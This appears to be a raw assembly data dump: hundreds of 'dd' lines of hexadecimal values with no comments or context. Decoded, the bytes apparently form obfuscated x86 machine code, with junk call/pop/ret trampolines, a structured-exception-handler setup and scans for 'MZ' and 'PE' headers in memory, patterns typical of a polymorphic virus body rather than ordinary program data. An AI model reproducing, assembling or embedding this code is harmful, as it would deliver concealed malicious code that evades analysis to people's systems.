		dd 8D064D11h, 509A139Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 0DB354FD7h, 0B0EDA56Dh
		dd 0B9F6814Dh, 0FF6F26C0h, 51006AD3h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0A7D3CC78h
		dd 0BDD6AF5Fh, 1585FF71h, 0E9064D18h, 895h, 0E8h, 0ED815D00h
		dd 65119BBh, 328EBF66h,	29E1BD81h, 7D0064Dh, 860F0000h
		dd 113h, 0A9D78166h, 0D19D8BB9h, 6A064D17h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0DFC8C353h
		dd 0B78CF5D4h, 29958F48h, 4D119585h, 0E38106h, 8B000001h
		dd 4D2115BDh, 0FDB0B06h, 7885h,	85295000h, 64D1141h, 8ABD835Fh
		dd 65118h, 2F840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0AC91C2C3h, 0D99BD03h
		dd 72E9064Dh, 8B000000h, 4D2D45BDh, 8A85C706h, 1065118h
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 17042444h, 46000000h, 3FC4C356h, 0B58B8F7Eh,	64D2579h
		dd 38E9h, 8A85C700h, 65118h, 6A000000h,	3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 6FAC350h
		dd 955A0682h, 1830F9Dh,	0F9000000h, 47F8EBBEh, 0D19D8D42h
		dd 2B064D17h, 4D2565B5h, 0A9B52906h, 81064D2Ch,	0FFFEFF23h
		dd 66F98BFFh, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1B0424h, 53430000h, 680066C3h, 15B84A2Ah, 0F6816622h
		dd 0C3F61D66h, 67840F04h, 29000000h, 4D21ED8Dh,	2D95FF06h
		dd 6A064D10h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7E1C352h, 0FD61DCBh, 688h, 119D8900h
		dd 81064D30h, 88EBD7EFh, 0BE665079h, 489AE27h, 52006A24h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 11304330h, 90E9D920h, 6A000004h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 8FD5C355h
		dd 0B0BD58h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0A7E10EC3h, 6330858Dh, 0BF0F57BCh
		dd 6671E4F9h, 38910BEh,	4D1811BDh, 0D8B60F06h, 75B58B53h
		dd 5F064D00h, 6BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1804h, 0C3564600h, 267497ECh, 6AC38B60h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 1BA5C351h, 382D0F67h, 8D893DFCh, 64D2139h
		dd 687EBF66h, 6A04E8C1h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 0E9DCC357h,	5, 7177F341h
		dd 0DF8166BAh, 0F7661FE5h, 52006AE2h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0C0308C60h
		dd 38AC60Ch, 2BFE8B66h,	0F18B66D8h, 50F28B66h, 8ADBBE66h
		dd 6A241C89h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 0A75EC351h, 8B66A1A0h,	8D8B60F9h
		dd 64D0FE5h, 0E78161FCh, 471A7483h, 29E1B5FFh, 30BE064Dh
		dd 0FF45A425h, 4D051195h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0C1BD8B78h
		dd 0F064D17h, 138Bh, 0EE900h, 74850000h, 56B805DCh, 0DF142CB1h
		dd 669025C0h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 0C3028C3h, 31BC0CD6h, 4D17E995h
		dd 0E470E606h, 51006A71h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 2231E7D6h, 0FAE2495Ch
		dd 14E8172Ch, 31000000h, 0DF109D4Ah, 0E29F95ACh, 0EEE5FC40h
		dd 0F468AA81h, 0F00A0C0h, 68Bh,	79B58B00h, 5E064D30h, 8DB52960h
		dd 0E9064D15h, 0Fh, 0AE810AB5h,	7E32E9CEh, 0BABE2B04h
		dd 61E165B8h, 0DE9h, 47F13800h,	0DB537F20h, 0F2EE04D3h
		dd 613CA873h, 249830Fh,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 1316E3C3h, 0B2C4A46Bh
		dd 10E9h, 28681E00h, 0B88BDB6Bh, 0CC4CB56Ch, 0C17817E7h
		dd 0D8B60FB4h, 3289BD23h, 6BA064Dh, 8B000000h, 4D1FEDBDh
		dd 0FC38B06h, 8Ah, 4E8C100h, 0C5B58Bh, 0F766064Dh, 52006AE2h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 76C34F55h, 2BAADE96h, 52006AD8h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 7C9AFF3Ah, 7FB40654h
		dd 810F3787h, 6, 13019D89h, 8D89064Dh, 64D3121h, 5E9h
		dd 1BD96F00h, 6A58667Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 66CCC352h, 6660F08Bh
		dd 61F9DCB9h, 880FD82Bh, 157h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 10C35040h, 0E41A509h, 3E97668Ch
		dd 0D9BD8B3Fh, 29064D26h, 4D2B9DBDh, 21BD0306h,	0B9064D11h
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 1Dh
		dd 0A3C35646h, 9F1E6884h, 334DE5F5h, 0EE974h, 92030000h
		dd 5073BA1Bh, 498DC33Ch, 38F06F1h, 6A00C183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 5200C353h, 0F9891A43h, 0EDB58B31h, 8B064D0Fh, 4D1C59B5h
		dd 0FD93B06h, 0AA86h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 66B2584Eh, 6AD98Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 35BEACC3h, 16E98A84h, 0F04C1F6h, 3E84h, 1ABF6600h, 2D95FFD2h
		dd 0F9064D10h, 39B5895Bh, 2B064D03h, 31BD8BC3h,	3D064D03h
		dd 834h, 19860Fh, 95890000h, 64D28F9h, 2EE9h, 8B606000h
		dd 0C68B66DAh, 7C0EBB61h, 8B614B22h, 51006AC0h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 8B1547CCh
		dd 6AD88BC3h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 667EC351h, 9585C7A1h, 95064D24h
		dd 6A56A123h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 8B22C357h, 57006AC0h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0A0DF3467h
		dd 2B390CE9h, 4D31C1B5h, 0E1BD8106h
		dd 0D0064D29h, 0F000007h, 4785h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FCEB4EC1h
		dd 29E185FFh, 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 741B74C3h, 0E16E639Ah, 29E1B5FFh
		dd 6A064Dh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0A154DDC3h, 87342F44h, 1195FFD2h,	8B064D05h
		dd 6A90F9F1h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0EB85C355h, 0B29D4C14h, 13E938h
		dd 3B8A0000h, 664787CFh, 3EDA0068h, 282C2584h, 163AF23Fh
		dd 6E9E4h, 0FA500000h, 0B5399FB2h, 972DEE81h, 6A7CC9h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0D13B24C3h, 0BEF46EECh, 0E843FE4Dh, 0Bh, 95D677D2h
		dd 532B0781h, 5F2890C7h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0EEC35545h, 0F08B844Ah, 571BD8Bh, 0E3BE064Dh
		dd 8B2A2B78h, 4D0FADB5h, 0E7816606h, 816061E1h,	0EC2A52CBh
		dd 66FE8B31h, 6192F3B9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 15h, 0E3C35141h, 75EF81EFh, 6A5B9EBFh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0E278C351h, 89C5FDD3h, 0F304A12h, 128Fh, 0C8B0F00h
		dd 29000000h, 4D137185h, 95B58B06h, 89064D0Eh, 4D2339B5h
		dd 0F772E906h, 33F9FFFFh, 4D14B9B5h, 6A6006h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 40A427C3h
		dd 0D9059FAEh, 19C36F1h, 4D182DBDh, 21DE8006h, 0FFFEB9F8h
		dd 958BFFFFh, 64D1ABDh,	3098D21h, 0B58B064Dh, 64D225Dh
		dd 2DE98D21h, 0BAB0064Dh, 3098D8Bh, 6A064Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 84A024C3h
		dd 8D29EF17h, 64D2029h,	8E9h, 0F68F5300h, 820ABC88h, 6E8E2h
		dd 65530000h, 7CD7852Ah, 5BF0BF0Fh, 0F01E183h, 2D85h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 63E8D690h, 31858B50h, 5B064D2Bh, 17659D29h, 8D8B064Dh
		dd 64D2DE9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0DAC35545h, 20738A96h, 316021EBh, 4D2B85B5h, 0AE95706h
		dd 87000000h, 2CF88AEDh, 0C323AC8Dh, 836159EAh,	850F01E1h
		dd 24h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h
		dd 12C35040h, 0E27DD0B1h, 5BF78A57h, 9D316061h,	64D1501h
		dd 26F1958Bh, 0FEB9064Dh, 66FFFFFFh, 214FCAB8h,	4D17D18Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0FE98Fh,	0F6DF0000h, 0D3560A58h,	3B590111h
		dd 108712B4h, 3D8D21B9h, 80064D0Ch, 8D8B0EE8h, 64D17D1h
		dd 0E183C28Bh, 22850F01h, 6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 89BFC351h
		dd 4D2F459Dh, 3D8D8B06h, 0F064D0Ch, 958BD3BFh, 64D2B65h
		dd 0F01E183h, 2885h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 661A4416h, 89B2E8BAh
		dd 4D2B4595h, 6A606106h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0B014C356h,	8D0F4D8Ah
		dd 6, 3C1B589h,	12E8064Dh, 0A3000000h, 69F57B20h, 809DFABDh
		dd 0E9C14708h, 69EE1D53h, 0CD950140h, 5E064D22h, 0FFFFFEB9h
		dd 51006AFFh, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0FA7FB11Bh, 2110CB80h, 4D32818Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 0CD08D6F0h, 8D2102C9h, 64D2485h, 93D7BB66h, 32818D8Bh
		dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 51E01FC3h, 5840FF5h, 0BA000000h, 4F7A5BABh
		dd 0F01E183h, 685h, 1DBD3300h, 8B064D20h, 4D24858Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 80B471A9h, 8BF0AAF9h, 4D30259Dh, 1E18306h, 2E850Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0BD3A63C3h, 2256FB4Dh, 6890Fh, 85890000h
		dd 64D268Dh, 66606061h,	89F9B6B8h, 4D315D8Dh, 0FEB96106h
		dd 60FFFFFFh, 0EE8h, 397B6400h,	20717DD9h, 583DD979h, 8038B3FBh
		dd 0F55FE7F6h, 958D2161h, 66064D24h, 5DA1CA81h,	27358D21h
		dd 6A064Dh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 9D87C5C3h, 201C93CBh, 66CDE2FAh, 50F6EE81h
		dd 24958D8Bh, 6A064Dh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0D41F8EC3h, 7803F681h, 0E1834572h
		dd 0C850F01h, 89000000h, 4D2FA9BDh, 0A19D8B06h,	8B064D1Fh
		dd 4D27358Dh, 0C8C0F06h, 0F000000h, 68Ah, 658D0900h, 83064D22h
		dd 850F01E1h, 22h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 0CAC35747h, 366CE3AAh, 60614421h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0DDC35646h, 85C70E2Dh
		dd 64D29E1h, 7D0h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0BCC35141h, 85E2820Ah, 1245BD8Bh, 8D29064Dh
		dd 64D1AA1h, 55006A61h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 8A29703Ah, 6E91Ch, 1DE40000h, 20060809h
		dd 9DE98166h, 6107EB14h, 0E99Dh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 89D5CAC3h
		dd 4D0ECD85h, 0E59D2B06h, 6A064D30h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 930BC355h
		dd 62BA485Ch, 0D42B8AFEh, 431546BEh, 0AC06BB0Dh, 0C18B6407h
		dd 0E0000BAh, 0EA81F0h,	83F00000h, 958914C2h, 64D21C9h
		dd 8D14EA83h, 51281085h, 0FF645006h, 35h, 25896400h, 0
		dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh
		dd 12h,	3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h
		dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 64D2A11h,	0F3C4003h
		dd 890650B7h, 4D321595h, 50508B06h, 32419589h, 0F805064Dh
		dd 8B000000h, 0D1030C50h, 2F319589h, 5003064Dh,	45958908h
		dd 64064D30h, 58Fh, 0C4830000h,	13E904h, 8B510000h, 8110244Ch
		dd 0B0A9h, 100000h, 0C0335900h,	0A5BD83C3h, 64D21h, 24840Fh
		dd 85C60000h, 64D26E5h,	0A7D26847h, 0B5FFD49Ah,	64D0B29h
		dd 75D7858Dh, 0D0FF0650h, 0D0FF006Ah, 2FD58589h, 0D38B064Dh
		dd 0AE8h, 0A3D62D00h, 54EDC163h, 5B371131h, 880Fh, 0C3810000h
		dd 69BEh, 68FA8Bh, 66000000h, 8B58F98Bh, 0F98B0314h, 4398F281h
		dd 800F268Ch, 4, 0FE35B966h, 0A4A5C281h, 9E90466h, 0A4000000h
		dd 0D1F4377Fh, 30BD0F77h, 222AF281h, 89F8367Ah,	13E90314h
		dd 8B000000h, 0B83A18Dh, 0B30DF4D3h, 0E4DCE8Ah,	216A6840h
		dd 0E8830F30h, 2BBF6602h, 60484857h, 0FF9A3FBEh, 0F8816113h
		dd 0FFFF96D4h, 0FF99850Fh, 6E8FFFFh, 0C1000000h, 0F7D39C13h
		dd 605FF99Eh, 0B10AC781h, 0C08B5DD5h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 0BFC35343h,	786099FDh, 0F918E010h
		dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501974h
		dd 38B8C08Bh, 89000004h, 4D257585h, 159D8D06h, 0FF064FB7h
		dd 83585BD3h, 4D0011BDh, 17740006h, 38B85350h, 89000004h
		dd 4D257585h, 49D8D06h,	0FF064FB4h, 8B585BD3h, 55006AF9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0AF9D83B3h, 0E9DBF164h, 8D8950E5h, 64D2739h,	6AC08B59h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 14042444h
		dd 41000000h, 0FCEC351h, 128Ch,	0C8D0F00h, 0E9000000h
		dd 7, 0B206AABFh, 0E85DC1B3h, 848h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 29C35141h, 0E7368A6Bh, 89D3E0D1h
		dd 4D317185h, 0FE96006h, 0B4000000h, 6C5C5793h,	37FF4D79h
		dd 0FE1A8674h, 0BD89E3F2h, 64D2CB1h, 7FEE861h, 14E90000h
		dd 9F000000h, 80F755ACh, 7BB00BE2h, 8CE2B3E5h, 0FBD3603Ah
		dd 894171ACh, 4D279585h, 218D8B06h, 0E8064D03h,	7D4h, 1FE58589h
		dd 6A064Dh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 2D04A8C3h, 1417730Fh, 89B58BD8h, 3064D25h
		dd 4D1FF5BDh, 79AE806h,	6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 1B2736C3h, 8591E781h
		dd 85892BE3h, 64D25F9h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0DDC35040h, 0E87EB0E8h, 74Ch,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 7FC35747h, 32298589h
		dd 0B966064Dh, 21E89FAEh, 6A000007h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 7C4CC357h
		dd 77032C06h, 0B8519181h, 3259BD8Bh, 8589064Dh,	64D2705h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0A2C35242h
		dd 649DB663h, 0EE8EFh, 0C2D30000h, 6C6E34F8h, 0E72E9913h
		dd 79EC8A99h, 25A5B58Bh, 0E85E064Dh, 6B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0CC35646h, 85891B1Eh
		dd 64D2585h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0AAC35747h, 0F3387A2Fh,	667E8h,	45BD8B00h, 89064D03h
		dd 4D0F3D85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 0F3C99C71h, 35E8EA8Ah, 31000006h
		dd 4D000DB5h, 8D858906h, 6A064D2Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 7676C356h
		dd 9EB158E3h, 10E9h, 11A03700h,	217341B0h, 0D63D77DFh
		dd 0DF7182F3h, 5EEE847h, 850F0000h, 0Fh, 0AE9h,	8BAAE00h
		dd 14823C81h, 89258845h, 4D2B0585h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 6A873CF4h
		dd 14E906h, 86D70000h, 9C3E22CBh, 0DA7FD12Ch, 0FF05FD93h
		dd 7FFE51BFh, 0C181E6E1h, 6609F240h, 58FE8h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 422E3A5Ah, 2D8589h, 6A064Dh,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0AA6880C3h, 8B930519h
		dd 542E8F0h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 9F5524C3h, 198589A2h, 6A064D2Dh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0C08DC350h, 0B4B61883h, 0E8CF15AFh, 4F4h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 7EC35040h
		dd 0BABE2B04h, 99BE65B8h, 8979A326h, 4D161185h,	3BEF8106h
		dd 0E87A3D55h, 4BCh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 19h, 0CFC35242h, 0D676039Dh, 7E946h, 0C78A0000h
		dd 9D10EB21h, 2985896Eh, 89064D03h, 4D075585h, 918D8B06h
		dd 0E8064D1Fh, 478h, 68B0Fh, 9D310000h,	64D2349h, 2695BD8Bh
		dd 8589064Dh, 64D227Dh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0CC35242h, 0B5205D42h, 578F9A98h, 5E8h
		dd 67336600h, 0E95EE057h, 0Ah, 0F15CEA5Ch, 474AC343h, 1DE87633h
		dd 81000004h, 4878DDF6h, 0A1858948h, 6A064D0Ah,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 4E04C353h, 2C82E4B0h, 121F9CFFh, 0B0FAB5h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 5C35141h, 0B1BD8BCBh
		dd 66064D1Fh, 9293DF81h, 8BD8B60Fh, 4D1881B5h, 6BA06h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 495006C3h, 0B889FBDEh, 0C38B7CCAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0C5C35747h, 0AFA72330h
		dd 0B589CCAEh, 64D1529h, 0C1FFBF0Fh, 8B6604E8h,	0E2F766FAh
		dd 2739BF66h, 0B58BD82Bh, 64D186Dh, 5BBE6693h, 36B950C4h
		dd 936FB0F9h, 95FFF7B1h, 64D102Dh, 2EE1BD33h, 6A5B064Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 5E4FC357h, 8CF38853h, 15958DD5h, 31064D12h
		dd 4D0091BDh, 6A1A8906h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 0F056C351h,	0B6F34A67h
		dd 8B66D26Dh, 44289F0h,	8DCFB70Fh, 4D201195h, 6850F06h
		dd 31000000h, 4D118195h, 12E906h, 655F0000h, 4AD9CCBEh
		dd 0C24DBAB5h, 0FC485EA2h, 737809ADh, 80601A89h, 0E0815BE0h
		dd 41E1BAE6h, 4428961h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh
		dd 3BC35545h, 31C26256h, 4EBED7B7h, 0BE98Ah, 240B0000h
		dd 5A0C74B5h, 61E7C6F3h, 29958DECh, 6A064D0Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 12E0C353h, 89053A1Bh, 4D2121B5h, 601A8906h, 0B2BF6660h
		dd 4BE98014h, 95296161h, 64D15C1h, 6A044289h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
		dd 44DFC353h, 563153DDh, 85958DC8h, 6A064D31h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0C8E9C356h, 75457B50h, 1B4BAC2h, 4D14B9B5h, 6A1A8906h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 17042444h
		dd 40000000h, 654DC350h, 42893764h, 50006A04h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 9CB096C0h
		dd 8DB150DEh, 4D0D8995h, 8B1A8906h, 4D2761B5h, 91B86006h
		dd 0E92620DAh, 10h, 0A7176C52h,	2989EA13h, 0B6C4E8E1h
		dd 0B11571B8h, 4428961h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 71C35242h, 8E8C9684h,	83A40867h, 0C981661Ch
		dd 958DA978h, 64D1229h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B3C35040h, 0A552FAF0h, 89F38B5Ch, 4D13ADBDh
		dd 6A1A8906h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 6454C353h, 0E9D0C044h,	0Ah, 0EC68F275h
		dd 4D63CF57h, 42890ED1h, 6820F04h, 81000000h, 3C7DBBEEh
		dd 61958D73h, 0F064D03h, 1A89F9BFh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 13C35242h, 91BD035Eh, 8B064D0Bh
		dd 4D0555BDh, 4428906h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0B3C35040h, 0C068266Ch, 12E914h, 0C9BB0000h
		dd 0B57F3250h, 669A895Dh, 0E4A52A05h, 35906A21h, 0D19D8B60h
		dd 8B064D21h, 4D1B299Dh, 958D6106h, 64D3035h, 0C8B70F53h
		dd 6A1A895Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0E9E8C352h, 60304E84h,	66C9BF0Fh
		dd 613392B9h, 2B044289h, 4D113DBDh, 115E906h, 0B58B0000h
		dd 64D2531h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 55A565C3h, 81659836h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 855072C3h, 4A7FC1C5h, 880F977Bh, 0
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 0A24556C3h, 6A8EB7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 65C35545h, 0C1CEB652h, 0E8F560B2h
		dd 0Ah,	0A9B11D9Ch, 0E1BB654Ah,	0ACBFAD4Ah, 5E3FAB80h
		dd 0ED95FF61h, 6A064D26h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 8C70C350h, 94BF1CA0h
		dd 67B5A9B2h, 0F05B460h, 28Dh, 61D7B400h, 0ACE18166h, 0CF8166FBh
		dd 6AC385B9h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F7F0C352h, 8A0DE5B5h,	56006AC5h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 809F3672h, 0C08B95E9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 83C35747h, 0D8EA00D8h, 0B58B6C81h, 64D211Dh
		dd 1BD9BD83h, 7500064Dh, 11BD8309h, 64D00h, 53501974h
		dd 38B8C08Bh, 89000004h, 4D31A585h, 7C9D8D06h, 0FF064FB7h
		dd 83585BD3h, 4D0011BDh, 17740006h, 38B85350h, 89000004h
		dd 4D31A585h, 1D9D8D06h, 0FF064FB4h, 6A585BD3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0ADC4C351h, 2F4EDD01h, 8BF82A9Eh, 35858DC0h,	0E8064D07h
		dd 0Bh,	0DDE2EAA2h, 0A380BED1h,	1867A65h, 4D2EA585h, 89505F06h
		dd 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 4738AEC3h, 8967F3B1h, 4D0FC5BDh, 0A1BD8B06h
		dd 6A064D27h, 41B58900h, 6A064D15h, 11840F00h, 0E8000000h
		dd 7, 9936B4CFh, 66E23D2Bh, 5BCF31BFh, 35FB858Dh, 6A0651h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 0D515FDC3h, 0DFB70F77h, 6A05C083h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 8680C356h
		dd 0AE9h, 5BF1E400h, 0AA0EA38h,	900EF58Eh, 98BF5250h, 0F4DC218h
		dd 50585A31h, 95BF6656h, 66905B0Dh, 6ADA8Bh, 93E38166h
		dd 6A006AA4h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 220C351h, 158D8942h, 0F064D1Eh
		dd 38Ch, 0F8BF0F00h, 114995FFh,	6A064Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0DB3812C3h
		dd 6840F46h, 29000000h,	4D1541B5h, 138D8D06h, 2906509Ah
		dd 4D23959Dh, 0A5B58906h, 0FF064D29h, 53006AD1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
		dd 0F4FF425h, 1787h, 0FE800h, 79C20000h, 0A6648E4Bh, 0C862D486h
		dd 4E99F303h, 5F616033h, 1281BD83h, 0F01064Dh, 7485h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
